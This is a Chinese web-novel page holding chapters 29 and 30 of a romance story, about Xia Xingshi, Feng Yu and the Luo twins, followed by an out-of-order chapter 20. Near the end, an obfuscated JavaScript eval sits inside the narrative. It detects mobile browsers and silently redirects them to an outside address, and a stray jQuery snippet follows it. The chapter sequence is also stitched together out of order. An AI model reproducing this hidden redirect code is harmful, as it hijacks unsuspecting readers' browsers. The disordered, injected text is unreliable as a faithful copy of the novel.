握着钓竿的夏星时环视四周。
奇怪,从刚刚开始就感觉周围有点吵。
难道真的是他心不够静才钓不上鱼?
夏星时看了看左边玩手机的大哥,又看了看右边陪他钓鱼的封煜。
忽然,他眉头皱起:“封哥,你脸色怎么这么差?”
夏星时握住封煜的手:“手也好凉。”
他立刻放下鱼竿,伸出手用手背探探封煜脑门。
夏星时惊呼:“封哥!你在发热啊!”
封煜看着靠近的夏星时轻轻点头:“我是聪明小乖鱼。”
夏星时睁大双眼。
完啦!已经烧的说胡话了!
作者有话要说:
封煜:吐泡泡。
第29章
傍晚,夏家。
“没什么事,睡一觉,好好休息,发发汗。”李明庭从客房出来摘下听诊器,跟门口守着的几人说。
由于封煜的身体问题,钓鱼活动被迫终止。
夏星时往屋里看了一眼,贴心关上门,有些忧虑的说:“爸,他博士可都延毕了,靠不靠谱啊。”
李明庭被戳中痛处,颇为夸张的捂了捂胸口:“大侄儿说话真是痛煞了你小表叔的心。再说了,我那不是延毕,我这叫暂毕、缓毕、有计划的毕。博士生的事你少管!”
夏星时撇嘴。
李明庭不到三十,但按照辈分,他跟夏星时爹是同辈的,夏星时也的确要喊李明庭一声小表叔。
小表叔辈分高,是因为舅爷爷辈分高,舅爷爷辈分高是……咳。
夏星时:“要不咱们去趟医院吧?”
不怪夏星时质疑小表叔,实在是这位小表叔给夏星时的印象太不靠谱了。他们两家家风明明都正得不得了,可李明庭有时候更像是洛家的种,很浪。
夏爸:“听你表叔的话。”
李明庭也说:“发个烧而已,大惊小怪什么,你没发过烧啊。”
一家人从二楼下来,夏星时丢给李明庭一瓶茶饮,后者歪在沙发上,屯屯屯三口一瓶。
夏星时坐立不安:“要不我还是给他喂一片退烧药吧,他刚才都说胡话了。”
李明庭掀开眼皮,瞅了眼大侄儿。
被质疑的微弱小火苗看见大侄儿那张漂亮脸尽数熄灭。
“是药三分毒,能自己好吃什么药,一会儿把人叫起来吃点饭就行了,别担心,乖。”李明庭连声音都软了点。
“噢。”夏星时站起来。
李明庭:“又干什么去,坐着歇会行不。”
夏星时:“煲个羊肉汤,让封哥发发汗。”
李明庭发出一声意味不明的笑:“他不能喝。”
“药不能吃汤也不能喝?”夏星时满眼的质疑。
“收起你那瞧庸医的眼神,我小手一把就知道他是什么人。”李明庭翘起二郎腿,两只手指浮空按下,“心思重,想得多,肝火旺,杏欲强,肾精充盈。心里憋得慌身体也憋得慌,一直绷着根弦,现在心神一松,然后就病了。”
李明庭耸耸肩:“虚喝汤补补当然没问题,但他旺的很,再补那就补过了。不过我同意你煲汤,因为我想喝。”
夏星时坐回沙发:“心里有事?憋的?”
李明庭点头:“纯憋的。”
李明庭用肩膀撞撞夏星时:“煲汤去啊。”
夏星时瞥了他一眼:“想喝自己煲。”
你又不是病号。
李明庭擦拭不存在的眼泪:“用完就扔,嘤嘤。”.
小表叔人品或许一般,但医术的确过关,第二天就像个没事人一样。
李明庭特意给封煜复查了一下,他把着脉连连叹气。
叹的人心里发慌。
李明庭啧啧:“好啊,这肾真好啊。”
夏星时扶额。
李明庭:“平时不要啥事都往心里去,多出门散散心,看看风景,要给心灵一个喘息的空间。当然也要注意一下这个身体的释放,总憋着肯定是不行的。哎对!这有火你不能总压着他,火不会消失,火只会叠加。”
李明庭不顾病人死活,小嘴叭叭个没完。
封煜:……
夏星时按住小表叔肩膀,用眼神警告小表叔。
病人只是病了,病人不是死了!
李明庭抖开大侄儿的手:“你这就是讳疾忌医,我这纯医学层面的指导,你竟往别的地方想!人心真浮躁!”
“行行行,平时饮食注意清淡,嗯……挺好,挺好,都挺好,大小伙子体格真棒!没事了!多喝热水!”李明庭收手了。
他挥一挥衣袖,没带走一片云彩。
假期最后一天,夏星时谨遵医嘱,督促封煜多喝热水。
晚上,夏星时几人坐飞机返回B市。
夏元岑小憩了一觉,“星时,一会儿到地方你跟封煜走。”
“嗯?你有事?”夏星时本来是要蹭大哥的车回学校那边的。
夏元岑揉揉脸:“没,我送你还要饶一圈麻烦,老封顺路。”
夏星时:“特别顺吗?要不我还是打车吧。”
夏元岑:“非常顺,他今天开始就住你隔壁了。”
夏星时:?
夏元岑解释:“我把房子租他了。”
夏星时完全没懂。
他甚至想象不到到底在什么样的场景下,他哥才会把房子租给封煜。但大哥一定有大哥的理由。
来接封煜的是一助周枫。
小周同志看见夏星时和小夏总挥手告别,朝自己这辆车走来后,不禁在心里感叹老板运筹帷幄、老谋深算,居然在小夏总眼皮底下拐走小夏总弟弟!
我们老板实在是太强了!
夏星时坐在后座,看向旁边的封煜。
“封哥!听说我们现在是邻居了!”
封煜:“嗯。”
封煜是找了一些借口才从夏元岑手里借到了房子,他当然想买下来,但夏元岑不卖。在家庭条件差不多的情况下,砸钱这条路走不通,封煜只能做个租户。
倒也不是租房子委屈,主要是担心未来某一天会被夏元岑这个房主赶出家门。
封煜是来给夏星时当玩具的,但这事只有他自己知道。夏星时爱玩,不过在家人面前一直是个乖孩子形象,而且戏耍玩弄别人的时候也都表现的很无辜。
如果有一天,自己和夏星时的不正当关系被夏家人发现,封煜毫不怀疑夏星时会干脆利落把他丢了,顺便把责任推给自己。
封煜换了个话题:“你哥之前说,你那个同学之前被人联系过包养?”
他们在飞机上也浅聊了一下谭淮的事。
公关团队已经发力在压热度,但为了不节外生枝,他们动作的很隐秘,没有强撤热搜和删帖,而是控制有影响力的账号不去讨论这件事以及加大其他爆料的推送转移普通网友注意力。
不过谭淮现在大小算个公众人物,有一些粉丝还在关注。而且现在还增加了一些嘴里喊着好甜的cp粉,据说超话已经建起来了,假期这几天的产出很猛。
“嗯,有这事,不过对方还算懂规矩,拒绝之后没再找上来过,爆料的事应该和对方没关系。”夏星时不是很想聊那位不知名的金主。
夏星时知道“不知名金主”其实是小谭官配来着。
小夏将之前的梦定义为“宇宙中高我对自我的传讯”、“平行世界的记忆碎片”、“地球ol的小bug”、“我重生了,重生在晋江小说……”。
夏星时在这个项目上运用了科学与玄学与科幻的三重理论,最终得出结论。
——不用管。
因为他的确也不记得什么了。勉强只记得几个关键人物的人设标签。
他不喜欢那个“官配清冷金主攻”。
封煜不知道夏星时在想什么,可他感受到夏星时此刻的不喜。
在夏星时的游戏美学里,这种趁虚而入、简单粗暴的砸钱行为,恐怕粗糙的让他嫌弃。
嫌弃就好。
封煜:“要不要我帮你打听一下是谁?我觉得谭淮那个爹笃定谭淮是被包养了,可能是知道点什么,提前防范一下?”
夏星时拒绝的话咽了回去。
他沉思片刻,点头。
“那麻烦封哥了。”
封煜唇角勾起又压下。
封煜:“你对谭淮,挺上心的。”
“这算宇未岩什么上心。”夏星时靠在椅背,歪着头看封煜,“顶多是对小宠物的照顾。”
封煜:……
夏星时现在是演都不演了.
收假回来,上了几天课才迎接周末。
周末当天夏星时没睡懒觉,天还没亮就起床了。
他今天将宠幸自己的宝贝新摩托!
夏星时穿好骑行服,抱着两个头盔下楼,抵达停车场他脚步加快了些:“封哥!”
他跑过来,一身黑白撞色的骑行服裹住身体,勾勒出利落的腰线,他个子高腿又直又长,整个人潇洒又帅气。
封煜被帅到了。
“哥你穿这身好帅!”夏星时毫不吝啬自己的赞美。
封煜穿的是跟他同款的骑行服,夏星时力荐的。
夏星时把其中一个头盔递给封煜:“哥你带下头盔,我把车开出来。”
封煜不太熟练的带好头盔,夏星时已经坐在摩托车上,他拍拍后座,潇洒的扬了扬下巴:“上车!”
封煜坐在后面,伸手搂住夏星时的腰。
夏星时的腰劲瘦紧实,隔着衣服也能感受到其中的力量感,他本能的靠近,但随后头盔与头盔相碰发出了清脆的响声。
夏星时似乎笑了一声,轻轻的。
马路上空空荡荡,几乎没有车子,夏星时拧动油门,尚未苏醒的城市迅速被他们抛在身后。
封煜抱着夏星时的腰,身体很僵硬。
夏星时大声喊道:“放松,抱紧我,相信我!”
风将夏星时的声音吹了过来,爽朗蓬勃,张扬肆意。
感受着风的呼啸,他们一路向上。不远处的天空逐渐泛起橘色的光芒,他们仿佛在追逐太阳。
最后,夏星时将车停在山顶。
这地方算是个小景点,前几年被带火过。从这里刚好能俯瞰城市的一角,夜里来的话,能看见这座城市绚烂的文明于恢弘明丽的灯光中绽放。
夏星时摘下头盔,微风吹起他的额发,他微微眯起眼睛张开双臂,感受着风的气息。
此刻,太阳浮出天际,整片天空晕染成梦幻的紫色,整座城市仿佛落在了一片绮丽的梦中。
夏星时拉着封煜到最佳观景点:“封哥!好不好看!”
拂晓的霞光将整片天空烧的炽烈。
夏星时手肘撑在栏杆上,小臂随意搭着,手腕自然下垂,利落的黑白色机车服裹住身体,线条流畅,整个人都透着从容与恣意。
封煜眼中仿佛蕴藏着一团烈火:“好看。”
当然好看。
封煜扶着栏杆:“怎么忽然要带我看日出了?”
借了海参那只狸花猫的福,封煜在线上和夏星时联系的蛮频繁,但线下接触的并不多,即便他们是邻居。
昨天晚上夏星时忽然敲门约他出来玩,封煜非常意外。
夏星时要来宠幸他这条小鱼,封煜自然满心喜悦的应下了。
“预报说今天的天空是紫色的嘛,当然啦,是我希望你能稍微开心一点。”
小表叔上次把脉说封煜心事重,夏星时听进去了。医嘱说要多看看大自然嘛。
“现在有没有稍微开心一点?”夏星时微微仰起头看着封煜,好似满心满眼都是他。
天空绮丽梦幻的色彩落在他的瞳底,烟织云染,温柔的不像话。
封煜怔怔的看着夏星时。
温柔的风将锁链轻轻吹散,猝不及防的那些长久以来被束缚在牢笼中的情感释放出来。
心脏不受控制地猛烈撞击胸腔。情感如泄洪般汹涌爆发,将理性冲击的破碎。
“有吧。”
风声几乎吹散了封煜的呢喃。
可夏星时听见了,他弯了弯眼睛,眸光清澈纯净。
那一刻,澎湃心动之下的可耻欲望陡然升起。
他贪得无厌,想要更多。
作者有话要说:
[加油]
第30章
当天下午,云锦东方,六栋301。
夏星时给封煜倒了杯刚泡好茉莉花茶。
纯茶夏星时喝不惯,不过各种花茶他蛮喜欢的。
“证据链不太完善,我也不太确定到底是不是沈江尘。”封煜接过茶杯。
他顿了顿接着说:“我跟他不太熟,看他也不像这种人,说不定是误会呢。”
夏星时没听出来某人是在茶言茶语。
“可能,不是误会。”夏星时抿了抿唇,眉头微皱。
他发现,如果将沈江尘对号入座放进“神秘金主攻”的卡槽里,居然是完美吻合的。
少年掌权,清冷霸总,京圈佛子。
夏星时沉默了片刻,稍稍靠近封煜,小声问:“封哥,你觉得谭淮的声音和我大哥像吗?”
封煜:……
他睁大双眼,脸上竟多了一丝惊恐。
夏星时眨眨眼睛,忍不住笑出了声。
被自己蠢笑了捏。
他和沈江尘认识了十多年,即便不算从小一起长大的发小,那也是一同度过了青春期的兄弟。他自认对沈江尘还算了解。
夏星时刚刚在脑子里过了一遍“沈江尘可能喜欢却得不到,最后只能偷偷藏在心里的人”。
当性别限定在男性,很不幸,答案只有两个,一个是他大哥,另一个是他自己。
可是这种情况,猜自己会不会显得太自恋了?不是说人生三大错觉其一是“他喜欢我”吗?
既然是猜测,不如更大胆一些!万一真相就是那么离谱呢?
毕竟仔细想想,大哥之前那副不让尘哥跟自己玩的愤怒模样,其实也有点像被兄弟表白的恼羞成怒……吧?
不过看着封哥这幅惊恐的表情,夏星时承认自己还是太大胆了。
“那,他声音和我像吗?”夏星时轻轻问。
封煜精神一振,大脑迅速运转。
这显然是一个陷阱问题。
首先,如果夏星时真的不知道谭淮的声音和他相似,那么他要回答的当然是:不像。
但夏星时肯定不会问这么简单的问题,所以增加的变量是沈江尘。
夏星时不认为谭淮声音与他相似,也不知道沈江尘把谭淮当替声。这种情况下,夏星时对沈江尘这种做法应该是厌恶的,他只需要赞同夏星时的想法。所以答案是:不像。
如果夏星时从来不认为谭淮声音像他,单纯觉得沈江尘背后搞这种小动作很讨厌,才提前一步截胡了谭淮。答案如上。
而如果夏星时知道谭淮声音与他相似,且就是因为如此才决定截胡谭淮。
这一步很惊险,他不能无脑赞同夏星时的想法。
因为夏星时自己可以认可声音的相似性,且理所当然的因为声音的相似性宠爱谭淮,但作为玩具的他必须坚定执行“夏星时独一无二”的方针。所以答案只能是:不像!
最后,夏星时知道谭淮声音和与他相似,但不知道沈江尘把谭淮当替声。那么夏星时提这个问题的目的,也许是为了测试玩具的忠诚性?那么他的答案依旧是:不像!
综上,不管哪种可能,他的回答都只有一个——
“不像。”
封煜头脑风暴结束,轻呼一口气稍稍放松,不过下一瞬他猛地意识到——分析了这么多得出的答案和他的本能答案好像是一致的。
要不下次别风暴了?直接说?
不行,这一次答案一致只是巧合罢了。想要争夺夏星时的宠爱必须处处小心谨慎。
封煜感觉自己,像一个身处后宫、苦心钻研如何夺取皇帝宠爱的妃子。
不,准确来说,他现在就是个宠妃。
所以他不是在争宠,而是在固宠!
夏星时四处望了望。
奇怪,明挺安静的啊,但为什么总有一种诡异的喧闹感?
是他最近的心太不静了吗。
好吧,沈江尘的事的确给他带来了不小的冲击。
夏星时也终于知道大哥为什么不让自己跟尘哥玩了。
夏星时:“我也没觉得哪里像。”
封煜柔声说,并自通茶艺:“要不我再查查吧,别因为我的失误冤枉一个好人。”
夏星时见识不够,没听出来封煜其实是在拉踩。
夏星时叹气:“我问问大哥吧。”
如果是真的,那大哥肯定会知道的。
封煜:“不要太难过,人本来就很难找到三观一致的朋友。”
既然是已经丢过一次的玩具,要么坏了要么脏了,千万别捡,下一个更乖。
早上被夏星时带着兜风前,封煜的想法停留在做夏星时的玩具没什么不好。
可当日出升起夏星时就那么看着他,温柔的目光将那些苦心造起的防线轰的支离破碎,他溃不成军。
什么欲擒故纵什么拉扯牵制都被封煜抛在脑后。
既然已经做了玩具,那他为什么不能是夏星时最喜欢的玩具?
就算得不到全心全意的爱,争取一些宠爱和偏爱总没问题吧?
贪婪是人类的本性,封煜选择拥抱本性。
那么——
问:如何在夏星时在夏星时的鱼塘脱颖而出,得到更多关注?
答:提升自己或许很难,但诋毁别人很简单。
被动的等待只会被遗忘,主动出击才是上上策!
于是,封煜带着沈江尘的黑料来了。
他甚至不是诋毁,他只是把沈江尘做过的事说了一遍而已。
至于其中有没有添油加醋和主观恶意揣测以及一些些微妙引导?那你别管。
将封煜送走后,夏星时给大哥发了条消息,然后坐在沙发里放空自己。
已知,谭淮是领衔主角,双胞胎是官配二三号,如果设沈江尘是官配一号,那么关键角色还差艺术家……
夏星时猛地想起那个被他拉黑的商晔。
他微微坐直。
艺术家?艺术家!
商晔的确是他见过最艺术的人,他完全不懂!
原来关键角色都已经现身了?
夏星时皱眉,总感觉自己忘了点什么.
周一,夏星时回到学校,兴致不高。
大哥回话了,当初联系谭淮的确实是沈江尘的一助陈新。为了防止自己错怪好人,夏星时还把陈新的照片发过去让谭淮确认。
两相对照下,答案显而易见。
找替身这种行为,怎么说呢,夏星时不理解也瞧不上。但偏偏这件事牵扯到了他自己,他的确断崖式的和沈江尘断联了两年多,大哥那边估计也严格禁止沈江尘接触他。
搞得夏星时还蛮微妙的。
而且,谭淮现在跟了他呀。
结果论上,沈江尘其实还没来得及做什么,只是险些做了错事。
徐渝问:“你今天咋看着心事重重的?”
夏星时堪堪回过神来,叹了口气:“有吗,可能是没睡饱吧。”
思考被打断,夏星时也不愿再为难自己,索性开始玩手机转移注意力。
【封煜:看见彩虹了。】
【封煜:[彩虹照片]】
【星时:哇!】
兜风那天之后,他和封煜的线上联系比之前更频繁了。
【封煜:医生说海参快生了。】
【封煜:[猫猫的照片]】
【星时:小海参好乖=v=,期待小猫。】
这段时间封煜一直在给夏星时分享猫片,他眼睁睁看着小海参肚子越来越大。
他这边聊着天呢,徐渝扭头过来:“橙子说双胞胎下午约咱们寝去看他俩决赛,然后比赛结束约个饭,去吗。”
夏星时将手放在后颈,活动脖子,漫不经心地说:“去呗。”
徐渝乐了:“那我回啦。”
他边回边说:“别的不说,他俩游戏技术是真不错。早知道假期我就不去手机店打工找小孩哥给我打段位了。”
夏星时都不知道该回他哪句话了。
上周收假回来,游戏社办了个“球球作战”团队赛,赛制分为五人团队赛和双人组队赛。
双胞胎联系上杨程,说想和大家组队参赛。
本来吧,由于这俩人是洛家人,杨程是不想理的,但想到夏星时说了想“玩玩”,所以就在群里询问了大家的意见,主要看看夏星时的想法。
夏星时既然决定跟双胞胎“玩玩”,面对敌人的攻势他必然不会退缩,于是欣然应允。
得到肯定答复杨程答应帮双胞胎凑人。
双胞胎中的弟弟洛明瑾直接明示自己在追求夏星时,希望能和夏星时组队。
杨程假装联络,然后遗憾表示夏星时没有时间。
两边拉扯了一段时间,最终由双胞胎带着杨程徐渝袁易三人组队参加五人赛。
作为游戏黑洞但又菜又爱玩的徐渝,不需要伪装就成功拖了双胞胎的后腿,大大增加了双胞胎的游戏难度。
不过,双胞胎技术真的很顶,带着黑洞也能杀到冠军。
简单评价一下双胞胎的技术——带三条狗上去也照样能赢。
时间在玩手机中飞快划过,回过神的时候已经下课了。
夏星时在屏幕飞快敲击——
【星时:哥,一会儿再聊,要去食堂干饭了!】
下课后夏星时和徐渝飞奔抢到了共享单车,成功在二食堂与袁易杨程会面。
杨程此时正举着手机乐呢:“这俩人还觉得自己是猎手呢,逗死我了。”
虽然夏星时已经答应吃饭,但杨程还是在聊天中和双胞胎做了一些小拉扯。什么不确定、有事、夏星时可能没法来、我尽量吧。
徐渝接茬:“高端的猎人往往以猎物的形式出现。”
看似双胞胎狩猎,实则夏星时狩猎!
双胞胎上赶着送战绩!
袁易:“但是我真的分不清他俩。”
在杨程说夏星时打算玩玩双胞胎的时候,袁易第一反应是不信,杨程一定是又陷入在自己的艺术世界里了。不过当夏星时给予肯定答复后,袁易笃定双胞胎必定是犯了天条。
他们都很好奇,双胞胎究竟犯了什么天条。
三人忍着没问,但每每看向夏星时的眼神都充满了好奇、好奇和好奇。
夏星时受不了,告诉他们双胞胎喜欢互换身份耍人。
袁易知道后一直忧心忡忡。
这要是玩脱了怎么办?不是不相信夏星时,单纯是双胞胎优势太大。
上周组队打游戏近距离和双胞胎接触了一段时间后,袁易瞪大了眼睛想要分清这俩人谁是谁。表面上来看,哥哥和弟弟性格很分明,可袁易根本不敢相信表面。
“说的好像我能分清一样。”杨程放下手机。
徐渝:“在双胞胎不想让你分清的时候,那你一定分不清。这个双胞胎,不特指洛家双胞胎。”.
下午,夏星时上完课才和徐渝慢吞吞往电教楼溜达。
他们到的时候,比赛已经开始了,比赛的九支小队共十八人坐在台上,大屏幕上放着他们的比赛画面,甚至还有两个解说。
夏星时找了个地方坐:“人不多呀。”
袁易解释:“预选赛来看的人特别多,礼堂两边都站满了,之后的比赛都限流了,选手邀请制,来现场的都是亲友,而且决赛有直播,能在线上看。”
讲个笑话,现场没有线上体验好。
夏星时点头,视线落在屏幕上。
这游戏夏星时玩过,需要一定的技巧,不过主要是运营,比较考验队友之间的默契。
双胞胎在操作上确实丝滑,赛程上半段各自发育,两个人吐球吞球、寻刺分身,看似与世无争,实则不断扩大优势,在球球体积的运营上非常细节,很稳。
随着球球体积逐渐增大,双胞胎逐渐靠近另一个队伍的发育点,忽然一个跳球吃掉了对方半数分身,体积迅速扩大。
徐渝看不懂双胞胎的操作,只一味的说着牛逼。
解说:“四号位的[星星队]一个漂亮的跳球,三号位[我与微积分不共戴天队]似乎想捡漏?好我们看见[星星队]没有给对方机会,一个突进分身,吃掉了对方的大球。”
夏星时看着那个队伍名,撇了撇嘴。
【星时:看看猫!】
【封煜:同事录的。[海参玩球]、[海参贴手手]、[海参猫爪在上]。】
【星时:=w=小乖猫。】
海参真的太亲人了,每次分享来的视频都是在蹭人,剩下的一部分是趴在人的腿上伸懒腰。
“目前[星星队]的体积来到一万三,目前来到第一名,二三名分别是九千和八万五,后面的名次追的非常紧,大家都很厉害。”解说的语气非常平和。
“咦,刚刚发生了什么?[星星队]体积猛涨到一万六?让我们看一下回放,原来[星星队]收割两个队伍,嗯,那我们可以暂时判定他们失去了夺冠的资格。”
“[星星队]目前的分身很有试探性啊,操作上很稳,目前他朝着二三名队伍前进。ok,第二名[阴湿蟑螂队]和第三名的[浪漫至死不渝队]被[星星队]分割了。赛程来到十一分钟,还有一分钟发育时间,现场局势已定。”
随着体积增大,操控球的难度也在增大,三家大球进入平稳期,后面的几家小球只能捡一些他们的残羹剩饭,已经无缘冠军位。
在倒计时即将走向末尾时,[星星队]突然有了动作,在[浪漫]队扎刺分球时,猛地突进分身,一口吞掉了他们的所有体积!
解说声调上扬:“[星星队]真的很稳……我靠!精妙的走位!”
“[蟑螂队]反应很快,立刻追了上去,但[星星队]预判了他们的走位!攻势调转了,[蟑螂队]被吃掉了!时间到,比赛结束!”
万万没想到前面平静稳重的解说哥,最后一分钟兴奋到出汗。
徐渝连连卧槽:“他俩还会这招呢?!跟咱们一队的时候怎么不用?”
杨程:“可能是因为带着菜鸡要稳一点吧。”
菜鸡是谁好难猜哦。
冠军是决出来了,但是由于双胞胎最后的操作,名次方面有些争议,毕竟最后其他人基本都没有体积,于是赛事方非常草率的决定来一个临时加赛。
夏星时他们没留下观赛,和冠军队一同离开电教楼。
路上洛明琛保持友好距离,洛明瑾则一直的跟在夏星时身边,像只热情的巨型金毛。
夏星时的回应浅浅淡淡,洛明瑾似乎有些失落。
洛明瑾微微低头,眼神有些暗淡:“你怎么都不夸夸我啊。”
夏星时偏头:“最后一击很漂亮。”
洛明瑾双眼猛地亮起,双眸在阳光下澄澈美丽。
夏星时多看了一会儿才将视线移开。
今天这个洛明瑾是小B。
在发现双胞胎玩互换身份后,夏星时给两个人定下小A小B的代号。
在下决心跟双胞胎玩玩后,他当然会观察两人。双胞胎其实对名字的感知非常敏锐。
即便他俩当时互换身份,但当小A在听见“洛明琛”三个字会下意识看向发声的人,小B则对“洛明瑾”这个名字更关注。
夏星时很快判断出小A是洛明琛、小B是洛明瑾。
双胞胎明明对自己的身份在意的要死.
双胞胎定的饭店离学校不远。
饭桌上洛明琛负责社交,洛明瑾负责骚扰夏星时。
吃完饭还早,洛明瑾提议去唱K,于是一行人又转战KTV。
双胞胎点了一些低度数果酒,夏星时抿了几口,不太喜欢就没再喝。
徐渝和杨程进场就霸占了麦克风,唱歌划酒拳,已经快把自己灌醉了,袁易看着两人,默默放下了酒杯改喝饮料了。显而易见,场子散了肯定是由他把人捞回去。
夏星时刚放下酒杯,身旁坐下来一个人。
“夏,我的追求让你很厌烦吗?”
夏星时缓慢眨了眨眼睛:“没有。”
来人双眼微亮,深邃的五官,在包厢绮丽的灯光下,愈加迷人:“那……”
夏星时微笑:“我不喜欢你。”
直白的拒绝好似伤害了金毛的心,他眼神黯然下来,仰头灌了杯酒。
袁易悄悄转过头来。
夏星时靠在沙发上,手臂搭在靠背上,双/腿叠起,姿态松弛。
他感受到袁易的目光,回望过去,随意朝后者比了个手势。
袁易双眼睁大。换人了?什么时候?
双胞胎每天穿的一样连带的配饰都一样,他根本分不清。但话说回来,正常双胞胎根本不会天天cos镜像人吧,洛明琛和洛明瑾明显是为了随时互换身份啊!
洛明琛神情沮丧:“那我还有机会吗?”
夏星时弯了弯眼睛:“加油。”
他像是在鼓励又仿佛委婉拒绝,姿态很是骄傲。
借着暗下来的灯光,洛明琛脸上伪装的落寞卸下几分,他视线落在夏星时脸上,逐渐游移到微微敞开的领口上。
澄澈明亮的双眼,染上了别样的意味。
真是个小漂亮。
作者有话要说:
封煜:在回我消息的时候,是在想哄我开心,还是在想双胞胎?《 》
20.第 20 章
夏星时给封煜打完电话的第二天慕姨发来消息说事情已经解决了,并且说明接下来会带谭淮高强度参加活动。
天降的流量不抓住那就是在犯罪。而且谭淮还欠着债呢,最少也要把这部分债的价值压榨出来才行。夏星时可以不在乎,但公司不会养闲人。
夏星时发消息给谭淮让他注意劳逸结合,谭淮回给他一只小鸟挺胸的表情包,然后说——
【小石谭:稍微忙碌一点也不错。】
【小石谭:当然,小百灵最喜欢的还是给你唱歌。】
夏星时顿时觉得谭淮在哄人这方面的本领恐怕不亚于自己。
情绪价值给的太足了,夏少爷一个开心想给谭淮整点资源。第一步,联系妈妈。
【四月芳菲:小谭的工作你慕姨会处理好。】
【四月芳菲:晚上给你爸打个电话,他找你有事。】
【四月芳菲:你养小明星的事败露了。】
【四月芳菲:[窃笑.jpg]】
夏星时回了个噘嘴的表情包。
谭淮是老妈公司的,现在火了老爸肯定会问一嘴,一问就露馅了。
爸爸的视频电话比预想来的更早一些,夏星时没想逃避,接通视频把跟二姐的那套说法重复了一遍。
夏爸知道谭淮的事,甚至可以说,他这个当爹的在助力了儿子包小明星这事上,占头功。就挺无语的。
“我特么让你长见识,你当上善财童子了?我听你大哥说,后面还有一大堆高利贷没核算明白呢?你妈说你今天还给那小孩要资源?崽卖爷田不心疼!”
夏星时理直气壮:“我今年都没买车!”
“是,夏元岑给你买了。”
夏星时眼神慌乱:“我、我没买模型!”
“是,夏元瑾给你从国外运过来两个绝版的。”
“你能不能不要总偷看我们流水,当父亲的和儿女有些边界感好嘛。”在夏乘风面色变换之际,夏星时话锋猛然一转,“你总这样,我们给你准备的惊喜你总是提前就知道了,这多不好呀。”
夏星时开始撒娇了。
“爸就是问问,”夏乘风绷了一会,还是乐出声了,脸色比刚才好多了,“爸知道你没那心思,那小孩唱歌是还行,你妈那边本来也想往音乐圈使使劲,你这次做得好。我让你慕姨多上心,你就少操心了。花钱没事,你也不是乱花,这次就算了。”
夏乘风了解自己儿子,买下谭淮债务跟买辆车在夏星时心里估计没区别,反正就是,这一刻我喜欢。
于是,星时喜欢,星时得到。
很简单的啦。
“我听说你最近跟洛家的双胞胎有联系啊,不是什么好东西,少来往,面子上过得去就行了,过不去也没事。他们洛家,上梁不正下梁歪搞不正当关系,别跟他们学,不为了别人,为了自己身心健康balabala……”
夏星时把手机放在支架上,趴在桌上听着父亲说话。
在说教之余,夏爸总会穿插的一些自己的昔日辉煌小事迹,以及巨量的八卦。
夏星时找到了高中他们那个特级教师上语文课的感觉。
夏乘风喝了五六次水才掰开折叠屏幕看了眼时间,“行了,挺晚的了,你明天还要上学,早点睡吧,爸明天早上让秘书给你打点钱。”
“谢谢爸爸!爸爸再见!”夏星时立刻挂掉视频,结束这场语文课。
他是爱上语文课的,但前提是老师能说点新八卦,总听同一套难免厌倦。
.
和封煜约好的当天,夏星时和汪部长请假后,提早来到预定包厢。
包厢很宽敞,装修风格中式典雅,墙面覆盖暗红色壁板,金色祥云压边线条,吊灯的仿宫灯造型,盆景翠绿,看起来很茂盛。
他定的是家鲁菜馆,行政总厨是正统的鲁菜传人,技艺深厚。
夏星时点的都是不出错的经典菜,但到了之后忽然想吃点甜的,找服务员加了两道小孩菜。
服务员刚出门,包厢的门被再次打开,夏星时闻声抬头看见了封煜,他愣了一下。
封煜个子高腿又长,好身材撑起了昂贵的西装,看着很精神。他没系领带,少了几分庄重与正式,多了些恣意。同色系的衬衣领口微微敞开,锁骨随意露出,隐隐带着一丝侵略感,仿佛一头蓄势待发的狼。
莫名的,夏星时察觉到一丝危险。
“刚好在附近,到早了些。”封煜说。
他脱掉外套搭在椅背上,露出衬衣贴合的下的身体,身体线条带着迷人的力量感。
夏星时慢了半拍才笑着回:“哪有客人的不是,是菜上晚了,我去催催菜。”
夏星时离开包厢,封煜微微皱眉,低头看了眼衣服。他感觉自己被骗了,这身衣服和他平常到底有什么区别?
过了几分钟,夏星时拎了壶茶水回来,给封煜倒了一杯,“哥,我明天早上有课,咱们今天只能喝点茶了。”
封煜接过茶叶抿了一小口,“今年的新茶?”
夏星时眨巴眨巴眼睛:“是呀,哥你还懂茶?”
茶叶是夏星时自己带过来的,他知道茶是好茶,但让他品新茶旧茶,他品不出来。
“不懂。”封煜放下茶杯,“挺好喝,但我品不出来的,应该是好东西。”
夏星时乐:“太对了哥。”
夏星时觉得和封哥的距离瞬间就拉近了。
菜陆续上了,两人动筷子,封煜状似不经意问:“那个小明星怎么回事?用得着你亲自把电话打到我这儿来?”
夏星时琢磨了一下措辞,没找到特别合适的描述方案,索性直接说:“就,我的人嘛。我大哥知道这事。”
封煜瞳色沉了下去。
“总之,这次麻烦封哥了。”夏星时举起茶杯一饮而尽。
夏星时没多纠结这件事,转而聊些其他的。
“最近不是校庆,也不能说忙,但是的确没时间出去玩了,课余时间要跟着排练,而且我搭档是洛家那对儿双胞胎。”
封煜唇角下压,食不知味。
还不忙呢?左手一个唱歌的百灵鸟,右手一对儿貌美双胞胎。
怪不得不来找我,原来是被双胞胎迷住了,怕不是已经乐不思蜀了。可不是么,双胞胎小玩具,多新颖的小玩意啊,优势肉眼可见的明显啊,双倍暴击,他的确比不上。
有时候嫉妒像呼吸一样容易。
又来了,那该死的好胜心,这真没必要攀比。封煜告诉自己要理智,不要冲动。
他怀疑夏星时是有目的、有预谋的在刺激他。
说不定,夏星时已经看出了他的动摇。
真危险啊夏星时!
夏星时鼓了鼓脸:“他们挺讨厌的。”
封煜眼神瞬间柔和:“不是我刻板印象,但洛家哪有好东西。”
“是呗。”夏星时吃了口菜,忽然问,“封哥,你会来看校庆吗?”
封煜和夏元岑都是B大的毕业生,不过校庆那天
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152910|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夏元岑要出差,肯定是赶不上了。
“听说这次校庆的节目都很厉害。”夏星时歪了歪头,“当然,我跳舞也挺好看的。”
